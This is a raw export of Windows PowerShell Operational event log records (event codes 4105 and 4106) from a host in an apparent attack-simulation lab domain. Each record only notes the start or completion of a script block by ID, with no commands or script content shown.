User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647738
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:27 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647737
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647756
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647755
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647754
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647753
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647752
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647751
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647750
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647749
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647748
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:33 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647747
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647766
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647765
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647764
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647763
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647762
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647761
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647760
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647759
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647758
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:39 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647757
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647776
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647775
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647774
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647773
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647772
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647771
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647770
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647769
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647768
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:44 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647767
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647786
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647785
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647784
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647783
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647782
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647781
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647780
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647779
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647778
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:49 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647777
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647796
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647795
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647794
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647793
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647792
Keywords=None
Message=Completed invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647791
Keywords=None
Message=Started invocation of ScriptBlock ID: 05c95d33-f989-43da-98b0-0935e9b9d787
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647790
Keywords=None
Message=Completed invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647789
Keywords=None
Message=Started invocation of ScriptBlock ID: 814708c6-dacd-4473-87cf-ec01b4626b2a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647788
Keywords=None
Message=Completed invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:15:55 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647787
Keywords=None
Message=Started invocation of ScriptBlock ID: 52a2683a-ff39-4e9b-bbd9-f6ddd86cb52e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2647806
Keywords=None
Message=Completed invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:00 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2647805
Keywords=None
Message=Started invocation of ScriptBlock ID: 2394b1ee-8edd-421a-ab65-1527ea0df67e
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/14/2021 01:16:00 PM
